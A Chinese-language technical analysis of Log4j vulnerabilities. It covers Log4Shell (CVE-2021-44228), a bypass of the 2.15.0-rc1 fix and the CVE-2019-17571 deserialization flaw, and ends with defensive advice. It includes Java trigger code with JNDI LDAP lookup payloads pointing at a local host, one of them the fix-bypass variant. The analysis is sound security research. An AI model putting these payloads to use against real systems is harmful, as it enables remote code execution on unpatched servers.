深入研究Log4j漏洞原理及利用
字数 1562 2025-08-23 18:31:09
Log4j漏洞原理及利用深度分析
1. Log4j概述
Log4j是Java应用程序中广泛使用的日志记录框架,主要组件包括:
- 日志记录器(Logger):核心组件,接收并传递日志消息
- 日志级别(Log Level):DEBUG、INFO、WARN、ERROR、FATAL
- Appender:确定日志输出目标(控制台、文件、数据库等)
- 日志布局(Layout):决定日志消息的格式
- 配置文件:XML或属性文件,配置日志系统
2. CVE-2021-44228漏洞分析
2.1 影响版本
2.0-beta9到2.14.1
2.2 测试环境
- log4j-2.14.1
- jdk1.8_66
- Maven依赖:
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
2.3 漏洞触发代码
package org.example;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class CVE202144228 {
public static final Logger logger = LogManager.getLogger(CVE202144228.class);
public static void main(String[] args) {
String message = "${jndi:ldap://127.0.0.1:1389/0xrsto}";
logger.error("error info:{}", message);
}
}
2.4 漏洞原理关键点
-
消息格式化阶段:
MessagePatternConverter.format()方法处理${}占位符- 调用
config.getStrSubstitutor().replace()进行变量替换
-
变量解析阶段:
StrSubstitutor.substitute()提取${}中的内容StrSubstitutor.resolveVariable()解析变量
-
JNDI查找阶段:
Interpolator.lookup()根据前缀获取对应的StrLookup对象- 前缀为"jndi"时获取
JndiLookup对象 - 最终调用
jndiManager.lookup()执行JNDI查找
2.5 日志级别影响
- 默认情况下,等级值小于等于ERROR级别(200)的日志会触发漏洞
- 可通过修改配置文件
log4j2.xml调整级别:
<Root level="info">
<AppenderRef ref="Console"/>
</Root>
3. Log4j 2.15.0-rc1修复分析
3.1 主要修复点
-
消息格式化修改:
- 默认使用
SimpleMessagePatternConverter处理消息 - 移除了从Properties中获取Lookup配置的选项
- 默认不开启lookup功能
- 默认使用
-
JNDI白名单限制:
- 使用
InitialDirContext替代InitialContext - 在
JndiManager.lookup()中添加协议白名单检查:
if (!this.allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) { LOGGER.warn("Log4j JNDI does not allow protocol {}", uri.getScheme()); return null; }- 对LDAP/LDAPS协议添加主机名白名单检查
- 使用
3.2 绕过方法
-
开启lookups功能:
- 修改配置文件启用lookups:
<PatternLayout pattern="%msg{lookups}%n"/> -
利用URI解析异常:
- 在URL中加入空格触发
URISyntaxException异常 - 示例payload:
logger.error("${jndi:ldap://127.0.0.1:9999/ test}"); - 在URL中加入空格触发
4. Log4j 2.15.0-rc2修复
- 修补了rc1的缺陷,在
URISyntaxException异常处理中添加return语句 - 防止程序执行到最后一行lookup操作
5. CVE-2019-17571 (SimpleSocketServer漏洞)
5.1 影响版本
1.2.4 <= Apache Log4j <= 1.2.17
5.2 漏洞原理
SimpleSocketServer类监听指定端口接收日志消息- 接收的数据会进行反序列化操作
- 可利用反序列化漏洞执行任意代码
5.3 测试代码
package org.example;
import org.apache.log4j.net.SimpleSocketServer;
public class CVE201917571 {
public static void main(String[] args) {
System.out.println("INFO: Log4j Listening on port 4444");
String[] arguments = {"4444", (new CVE201917571()).getClass()
.getClassLoader().getResource("log4j.properties").getPath()};
SimpleSocketServer.main(arguments);
System.out.println("INFO: Log4j output successfuly.");
}
}
5.4 漏洞触发点
SocketNode.run()方法中调用ois.readObject()- 可发送恶意序列化数据触发反序列化漏洞
6. 防御建议
- 升级到最新安全版本(2.16.0+)
- 禁用JNDI查找功能
- 设置日志级别为WARN或更高
- 对输入进行严格过滤,防止恶意日志注入
- 使用安全产品检测和阻断攻击尝试
7. 总结
Log4j漏洞系列展示了日志组件中存在的严重安全隐患,特别是:
- JNDI注入导致的远程代码执行
- 不安全的反序列化操作
- 配置不当导致的安全问题
深入理解这些漏洞原理对于开发安全的Java应用程序至关重要。